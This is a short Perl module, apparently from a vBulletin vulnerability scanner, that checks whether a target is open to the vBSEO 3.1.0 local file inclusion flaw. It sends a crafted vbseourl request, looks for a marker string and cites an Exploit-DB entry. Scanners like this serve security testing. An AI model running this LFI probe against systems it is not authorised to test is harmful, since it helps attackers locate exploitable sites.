#start vBSEO 3.1.0 - Local File Inclusion Vulnerability
$ctf=0;
dprint("Checking vBSEO 3.x - LFI (Local File Inclusion) vulnerability");
$source=$ua->get("$target/vbseo.php?vbseoembedd=1&vbseourl=./clientscript/vbulletin_global.js")->decoded_content;
if($source =~ m/do_securitytoken_replacement/i){
    tprint("vbseo.php LFI is vulnerable\n LFI path : $target/vbseo.php?vbseoembedd=1&vbseourl=./clientscript/vbulletin_global.js\nEDB: https://www.exploit-db.com/exploits/11526/\nEDB Blog: https://www.exploit-db.com/vbulletin-not-so-secure-anymore/");
}else{
    fprint("vbseo.php LFI is not vulnerable");
}
#end vBSEO 3.1.0 - Local File Inclusion Vulnerability
